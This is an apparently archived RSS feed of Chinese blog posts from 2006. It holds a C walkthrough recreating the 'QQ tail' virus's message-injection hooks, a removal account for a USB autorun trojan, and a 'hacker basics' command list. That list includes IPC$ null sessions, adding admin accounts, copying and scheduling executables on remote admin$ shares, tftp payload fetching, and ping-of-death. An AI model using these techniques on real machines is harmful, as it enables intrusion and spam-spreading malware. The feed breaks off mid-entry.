﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-computerboy-随笔分类-安全技术</title><link>http://www.blogjava.net/computerboy/category/6751.html</link><description>                 


                                                                        自由|免费|共享</description><language>zh-cn</language><lastBuildDate>Tue, 27 Feb 2007 13:39:02 GMT</lastBuildDate><pubDate>Tue, 27 Feb 2007 13:39:02 GMT</pubDate><ttl>60</ttl><item><title>QQ尾巴病毒”核心技术的实现</title><link>http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Sun, 24 Dec 2006 13:03:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/89784.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/89784.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/89784.html</trackback:ping><description><![CDATA[ 本文系转载<br /><br />下面我将要讨论的，就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得，所以以下的代码全是我主观臆断所得，所幸的是效果基本与病毒本身一致。 <br />粘贴尾巴 <br /><br />首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言，就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下： <br />TCHAR g_str[] = "欢迎来我的小站坐坐：<a href="http://www.stonecn.org">www.stonecn.org</a>    or  www.blogjava.net/computerboy"; <br />// 函数功能：向文本框中粘贴尾巴 <br />void PasteText(HWND hRich) <br />{ <br />HGLOBAL hMem; <br />LPTSTR pStr; <br />// 分配内存空间 <br />hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str)); <br />pStr = GlobalLock(hMem); <br />lstrcpy(pStr, g_str); <br />GlobalUnlock(hMem); <br />OpenClipboard(NULL); <br />EmptyClipboard(); <br />// 设置剪贴板文本 <br />SetClipboardData(CF_TEXT, hMem); <br />CloseClipboard(); <br />// 释放内存空间 <br />GlobalFree(hMem); <br />// 粘贴文本 <br />SendMessage(hRich, WM_PASTE, 0, 0); <br />} <br /><br />钩子 <br /><br />　　好了，那么下面的问题是，这段文本应该在什么时候贴呢？网上有一些研究QQ尾巴实现的文章指出，可以用计时器来控制粘贴的时间，类似这个样子： <br />void CQQTailDlg::OnTimer(UINT nIDEvent) <br />{ <br />PasteText(hRich); <br />} <br />　　这的确是一种解决的手段，然而它也存在着极大的局限性——计时器的间隔如何设置？也许中毒者正在打字，尾巴文本“唰”的出现了…… <br />　　然而病毒本身却不是这样子，它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒，由于系统速度较慢，所以可以很清楚地看见文本粘贴的时机。 <br />　　讲到这里，我所陈述的这些事实一定会让身为读者的你说：钩子！——对，就是钩子，下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。 <br />　　首先我对钩子做一个简要的介绍，已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子（hook）并不是铁钩船长那只人工再现的手臂，而是一段子程序，它可以用来监视、检测系统中的特定消息，并完成一些特定的功能。打个比方来说，你的程序是皇帝，Windows系统充当各省的巡抚；至于钩子，则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税，然后派了一个钦差找到山西巡抚说：“皇上有旨，山西除正常赋税外，加收杏花村酒十坛。”（-_-#……）正如皇帝可以用这种方法来特殊对待特定的巡抚一样，程序员也可以用钩子来捕获处理Windows系统中特定的消息。 <br />　　问题具体到了“QQ尾巴病毒”上边，就是我们需要一个钩子，在用户单击了“发送”按钮之后，粘贴我们的文本。我所实现的这段钩子过程为（至于如何挂接这个钩子，我会在稍后说明）： <br />// 钩子过程，监视“发送”的命令消息 <br />LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) <br />{ <br />CWPSTRUCT *p = (CWPSTRUCT *)lParam; <br />// 捕获“发送”按钮 <br />if (p-&gt;message == WM_COMMAND &amp;&amp; LOWORD(p-&gt;wParam) == 1) <br />　 PasteText(g_hRich); <br />return CallNextHookEx(g_hProc, nCode, wParam, lParam); <br />} <br />　　在此我对这个回调过程说明几点： <br />　　1、lParam是一个指向CWPSTRUCT结构的指针，这个结构的描述如下： <br />typedef struct { <br />LPARAM lParam; <br />WPARAM wParam; <br />UINT message; <br />HWND hwnd; <br />} CWPSTRUCT, *PCWPSTRUCT; <br />　　这时候像我一样的SDK fans也许会会心一笑：这不是窗口回调的那四个铁杆参数么？如你所说，的确是这样，你甚至可以使用switch (p-&gt;message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。 <br />　　2、g_hRich是一个全局变量，它保存的是QQ消息文本框的句柄。这里之所以采用全局变量，是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置，我会在稍后说明。 <br />　　3、CallNextHookEx是调用钩子链中的下一个处理过程，换了钦差就会说：“十坛杏花村酒本钦差已经替皇上收下了，现在请巡抚大人把贵省正常的赋税交上来吧。”（-_-#……）这是书写钩子函数中很重要的一个环节，如果少了这一句，那么可能会导致系统的钩子链出现错误，某些程序也会没有响应 ——事实上我在编写这个仿真程序的时候QQ就当掉了几回。 <br />　　4、你也许会问为什么我捕获的是WM_COMMAND消息，这个原因让我来用下面的SDK代码（虽然QQ是用MFC写的，但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系）来说明： <br />#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义 <br />// QQ发送消息对话框回调过程·李马伪造版 <br />LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam) <br />{ <br />switch (Msg) <br />{ <br />case WM_CLOSE: <br />　 EndDialog(hDlg, 0); <br />　 break; <br />case WM_COMMAND: <br />　 { <br />　　 switch (LOWORD(wParam)) <br />　　 { <br />　　 case IDC_BTN_SENDMSG: <br />　　　 // 发送消息... <br />　　　 break; <br />　　 // 其它的命令按钮处理部分... <br />　 } <br />} <br />break; <br />// 其它的case部分... <br />} <br />return 0; <br />} <br />　　消息发送的整个过程是：当用户单击了“发送”按钮后，这个按钮的父窗口（也就是“发送消息”的对话框）会收到一条WM_COMMAND的通知消息，其中 wParam的低位字（即LOWORD(wParam)）为这个按钮的ID，然后再调用代码中发送的部分，这个过程如下图： <br /><br />　　所以，在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。 <br />　　好了，现在这个钩子已经可以胜利地完成任务了。但是请不要忘记：有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息，所以程序中还需要挂上一个键盘钩子： <br />// 键盘钩子过程，监视“发送”的热键消息 <br />LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) <br />{ <br />// 捕获热键消息 <br />if (wParam == VK_RETURN &amp;&amp; GetAsyncKeyState(VK_CONTROL) &lt; 0 &amp;&amp; lParam &gt;= 0) <br />　 PasteText(g_hRich); <br />return CallNextHookEx(g_hKey, nCode, wParam, lParam); <br />} <br />　　在这里唯一要解释的一点就是lParam &gt;= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入，那么lParam &gt;= 0又是什么呢？事实上在键盘钩子的回调之中，lParam是一个很重要的参数，它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam 的最高位（0x80000000）则表示了当前这个键是否被按下，如果这个位正在被按下，这个位就是0，反之为1。所以lParam &gt;= 0的意思就是在WM_KEYDOWN的时候调用PasteText，也就是说，如果去掉这个条件，PasteText将会被调用两次（连同 WM_KEYUP的一次）。 <br /><br />挂接钩子和查找窗口 <br /><br />　　接下来就是如何挂接这两个钩子了。对于挂接钩子，要解决的问题是：往哪里挂接钩子，以及如何挂接？ <br />　　挂接钩子的目标，肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接： <br />// 挂接钩子 <br />BOOL WINAPI SetHook(HWND hQQ) <br />{ <br />BOOL bRet = FALSE; <br />if (hQQ != NULL) <br />{ <br />　 DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL); <br />　 // 感谢好友hottey的查找代码，省去了我使用Spy++的麻烦 <br />　 g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD); <br />　 if (g_hRich == NULL) <br />　　 return FALSE; <br />　 // 挂接钩子 <br />　 g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); <br />　 g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); <br />　 bRet = (g_hProc != NULL) &amp;&amp; (g_hKey != NULL); <br />} <br />else <br />{ <br />　 // 卸载钩子 <br />　 bRet = UnhookWindowsHookEx(g_hProc) &amp;&amp; UnhookWindowsHookEx(g_hKey); <br />　 g_hProc = NULL; <br />　 g_hKey = NULL; <br />　 g_hRich = NULL; <br />} <br />return bRet; <br />} <br />　　到此为止，以上所有的代码都位于一个Hook.dll的动态链接库之中，关于DLL我就不多介绍了，请查阅MSDN上的相关资料和本文的配套源代码。 <br />　　DLL之中已经做好了所有重要的工作（事实上这部分工作也只能由DLL来完成，这是由Windows虚拟内存机制决定的），我们只需要在EXE之中调用导出的SetHook函数就可以了。那么，SetHook的参数如何获得呢？请看以下代码： <br />// 感谢好友hottey的查找代码，省去了我使用Spy++的麻烦 <br />HWND hSend; <br />g_hQQ = NULL; <br />SetHook(NULL); <br />do <br />{ <br />g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL); <br />hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&amp;S)"); <br />} while(g_hQQ != NULL &amp;&amp; hSend == NULL); <br />if (g_hQQ != NULL) <br />SetHook(g_hQQ); <br />　　这段代码中的do-while循环就是用来查找“发送消息”的窗口的，QQ窗口的保密性越来越强了，窗口一层套一层，找起来十分不便，所以在此感谢好友 hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的，只是把他文中的Delphi代码翻译成了C代码。 <br /><br />DLL的共享数据段 <br /><br />　　如果你对DLL不甚了解，那么在你读到我的配套源代码之后，肯定会对下面这一段代码有些疑问： <br />// 定义共享数据段 <br />#pragma data_seg("shared") <br />HHOOK g_hProc = NULL; // 窗口过程钩子句柄 <br />HHOOK g_hKey = NULL; // 键盘钩子句柄 <br />HWND g_hRich = NULL; // 文本框句柄 <br />#pragma data_seg() <br />#pragma comment(linker, "/section:shared,rws") <br />　　这定义了一段共享的数据段，是的，因为我的注释已经写得很清楚了，那么共享数据段起到了什么作用呢？在回答这个问题之前，我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行，你会发现什么？ <br />　　是的，添加尾巴失败！ <br />　　好了，我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系： <br /><br />　　这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用，还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说，当钩子挂接完毕之后，整个系统的模块中，有两个DLL实例的存在！此DLL非彼DLL也，所以它们之间是没有任何联系的。拿全局变量g_hRich来说，图中左边的DLL通过EXE的传入获得了文本框的句柄，然而如果没有共享段的话，那么右边的DLL中，g_hRich仍然是NULL。共享段于此的意义也就体现出来了，就是为了保证EXE、DLL、QQ三者之间的联系。这一点，和C++中static的成员变量有些相似。 <br />　　在钩子挂接成功之后，你可以通过一些有模块查看功能的进程管理器看一看，就会发现Hook.dll也位于QQ.exe的模块之中。 <br /><br />最后一些要说的 <br />那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后，DLL会将其唤醒。我曾经用我的进程查看工具分析过，发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程，真可谓是一石二鸟——保证EXE永远运行，同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了，但是稳定性方面远不及病毒本身做得优秀，故在此也就不将其写出了，有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。 <br /><br /><img src ="http://www.blogjava.net/computerboy/aggbug/89784.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-12-24 21:03 <a href="http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一个顽固型病毒 Auto  or sxs.exe</title><link>http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Tue, 05 Dec 2006 04:40:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/85542.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/85542.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/85542.html</trackback:ping><description><![CDATA[一个顽固型病毒 Auto  or sxs.exe<br /><br />这是一个比较顽固的病毒（确切的说是木马），专门盗取别人的QQ为乐，<br />古人云：我的产业岂能由他人支配乎，嘿嘿。<br />昨天在家里调试路由，能上网了，大家高兴异常，用哥们的移动硬盘不小心中招。<br />今天上班发现想清除之，岂知它比较顽固，总在电脑里常驻。<br />一开始我以为就是一个Auto，也没有大的威胁，岂知我在显示所有文件时出了问题，<br />居然看不到它的位置。我在显示，发现他不能显示所有文件，每次都自动的给你还原回去。<br /><br />这我才发现问题的严重性，上网找了一下，说的也很多。没有具体的方法。<br />没有办法，自己来吧。<br /><br />不过发现有这样一条信息还是不错的。就是说<br />在系统注册表有一个值是被改动的<br />CheckedValue<br />进去看一下<br />运行——regedit<br /><br />HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL，<br />发现CheckedValue值是0，我们知道，这个值是控制系统所有文件是否显示，0 为不显示，1 为显示。<br />看来果然是它的问题，删除之，重新建立一个。<br />但是我建立CheckedValue 时发现系统提示已经有一个存在，无法新建，但是我已经删除了。<br />看来还是有问题，<br />进入<br />HKEY_LOCAL_MACHINE&gt;SOFTWARE&gt;Microsoft&gt;Windows&gt;CurrentVersion&gt;Run<br />下发现有一个值很可疑。<br />uyanyh<br />它的地址是指向  c:\windows\system32\lienrn.exe<br />删除之，但是问题又来了。删除之后，它有自动出现一个，改名之后还是会自动出现一个。<br />怪事年年有，今年特别多。<br />没有办法，找这个值吧。<br />uyanyh 搜索注册表。终于发现它的踪迹，删除之。然后按照以上方式，<br />新建一个CheckedValue 的Dword值  ，值为1<br />这样系统终于能显示了。把 sxs.exe  和 autorun.inf。删除。系统正常了。<br />虽然表面上看似一个简单的东西，但是却花费了我一个半小时的时间。<br /><br /><img src ="http://www.blogjava.net/computerboy/aggbug/85542.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-12-05 12:40 <a href="http://www.blogjava.net/computerboy/archive/2006/12/05/85542.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>黑客基础之最全的DOS命令</title><link>http://www.blogjava.net/computerboy/archive/2006/05/12/45836.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 12 May 2006 06:26:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/05/12/45836.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/45836.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/05/12/45836.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/45836.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/45836.html</trackback:ping><description><![CDATA[
		<p>我写这些东西不是为了叫大家怎样去弄别人的机器，只是想让大家知道，DOS还有很多我们不知道的东西，我永远坚信学无止境！！！！<br /><br />net use  <a href="file://ip/ipc$">\\ip\ipc$</a> " " /user:" " 建立IPC空链接 <br />net use  <a href="file://ip/ipc$">\\ip\ipc$</a> "密码" /user:"用户名" 建立IPC非空链接 <br />net use h:  <a href="file://ip/c$">\\ip\c$</a> "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br />net use h:  <a href="file://ip/c$">\\ip\c$</a> 登陆后映射对方C：到本地为H: <br />net use  <a href="file://ip/ipc$">\\ip\ipc$</a> /del 删除IPC链接 <br />net use h: /del 删除映射对方到本地的为H:的映射 <br />net user 用户名　密码　/add 建立用户 <br />net user guest /active:yes 激活guest用户 <br />net user 查看有哪些用户 <br />net user 帐户名 查看帐户的属性 <br />net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 <br />net start 查看开启了哪些服务 <br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />net stop 服务名 停止某服务 <br />net time \\目标ip 查看对方时间 <br />net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 <br />net view 查看本地局域网内开启了哪些共享 <br />net view <a href="file://ip/">\\ip</a> 查看对方局域网内开启了哪些共享 <br />net config 显示系统网络设置 <br />net logoff 断开连接的共享 <br />net pause 服务名 暂停某服务 <br />net send ip "文本信息" 向对方发信息 <br />net ver 局域网内正在使用的网络连接类型和信息 <br />net share 查看本地开启的共享 <br />net share ipc$ 开启ipc$共享 <br />net share ipc$ /del 删除ipc$共享 <br />net share c$ /del 删除C：共享 <br />net user guest 12345 用guest用户登陆后用将密码改为12345 <br />net password 密码 更改系统登陆密码 <br />netstat -a 查看开启了哪些端口,常用netstat -an <br />netstat -n 查看端口的网络连接情况，常用netstat -an <br />netstat -v 查看正在进行的工作 <br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />netstat -s 查看正在使用的所有协议使用情况 <br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 <br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 <br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 <br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 </p>
		<p>del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br />fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br />at id号 开启已注册的某个计划任务 <br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />at id号 /delete 停止某个已注册的计划任务 <br />at 查看所有的计划任务 <br />at <a href="file://ip/">\\ip</a> time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />finger username @host 查看最近有哪些用户登陆 <br />telnet ip 端口 远和登陆服务器,默认端口为23 <br />open ip 连接到IP（属telnet登陆后的命令） <br />telnet 在本机上直接键入telnet 将进入本机的telnet <br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br />copy c:\srv.exe  <a href="file://ip/admin$">\\ip\admin$</a> 复制本地c:\srv.exe到对方的admin下 <br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头<br />要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />copy $\svv.exe"&gt;\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件<br />（所有文件）至本地C： <br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式<br />（传送文本文件模式）进行传送 <br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送<br />（可执行文件进）；默认为ASCII格式传送(文本文件时) <br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，<br />网关地址Gateway addres，接口地址Interface <br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。<br />arp -a将显示出全部信息 <br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />mem 查看cpu使用情况 <br />attrib 文件名(目录名) 查看某文件（目录）的属性 <br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；<br />用＋则是添加为某属性 <br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，<br />/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br />date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，<br />而不必输入新日期和时间 <br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />set 显示当前所有的环境变量 <br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />pause 暂停批处理程序，并显示出：请按任意键继续.... <br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） <br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />echo 信息 在屏幕上显示出信息 <br />echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br />find 文件名 查找某文件 <br />title 标题名字 更改CMD窗口标题名字 <br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ ) <br />print 文件名 打印文本文件 </p>
		<p>ver 在DOS窗口下显示版本信息 <br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />md　目录名 创建目录 <br />replace 源文件　要替换文件的目录 替换文件 <br />ren 原文件名　新文件名 重命名文件名 <br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />type 文件名 显示文本文件的内容 <br />more 文件名 逐屏显示输出文件 <br />doskey 要锁定的命令＝字符 <br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。<br />如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；<br />解锁：doskey dir= <br />taskmgr 调出任务管理器 <br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />regedit /e 注册表文件名 导出注册表 <br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br />cacls 文件名 查看文件的访问用户权限列表 <br />REM 文本内容 在批处理文件中添加注解 <br />netsh 查看或更改本地网络配置情况 </p>
		<p>IIS服务命令： <br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />iisreset /start或stop 启动（停止）所有Internet服务 <br />iisreset /restart 停止然后重新启动所有Internet服务 <br />iisreset /status 显示所有Internet服务状态 <br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，<br />则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />FTP 命令： (后面有详细说明内容) <br />ftp的命令行格式为: <br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。 <br />－d 使用调试方式。 <br />－n 限制ftp的自动登录,即不使用.netrc文件。 <br />－g 取消全局文件名。 <br />help [命令] 或 ？[命令] 查看命令说明 <br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />pwd 列出当前远端主机目录 <br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />mget [remote-files] 从远端主机接收一批文件至本地主机 <br />mput local-files 将本地主机中一批文件传送至远端主机 <br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,<br />就将结果写至本地文件 <br />ascii 设定以ASCII方式传送文件(缺省值) <br />bin 或 image 设定以二进制方式传送文件 <br />bell 每完成一次文件传送,报警提示 <br />cdup 返回上一级目录 <br />close 中断与远程服务器的ftp会话(与open对应) <br />open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />delete 删除远端主机中的文件 <br />mdelete [remote-files] 删除一批文件 <br />mkdir directory-name 在远端主机中建立目录 <br />rename [from] [to] 改变远端主机中的文件名 <br />rmdir directory-name 删除远端主机中的目录 <br />status 显示当前FTP的状态 <br />system 显示远端主机系统类型 <br />user user-name [password] [account] 重新以别的用户名登录远端主机 <br />open host [port] 重新建立一个新的连接 <br />prompt 交互提示模式 <br />macdef 定义宏命令 <br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />chmod 改变远端主机的文件权限 <br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />cd remote－dir 进入远程主机目录 <br />cdup 进入远程主机目录的父目录 <br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip </p>
		<p>MYSQL 命令： <br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。 <br />（例：mysql -h110.110.110.110 -Uroot -P123456 <br />注:u与root可以不用加空格，其它也一样） <br />exit 退出MYSQL <br />mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 <br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />use mysql； <br />show tables; 显示库中的数据表 <br />describe 表名; 显示数据表的结构 <br />create database 库名; 建库 <br />use 库名； <br />create table 表名 (字段设定列表)； 建表 <br />drop database 库名; <br />drop table 表名； 删库和删表 <br />delete from 表名; 将表中记录清空 <br />select * from 表名; 显示表中的记录 <br />mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的<a href="file://mysql//bin">\\mysql\\bin</a>目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />win2003系统下新增命令（实用部份）： <br 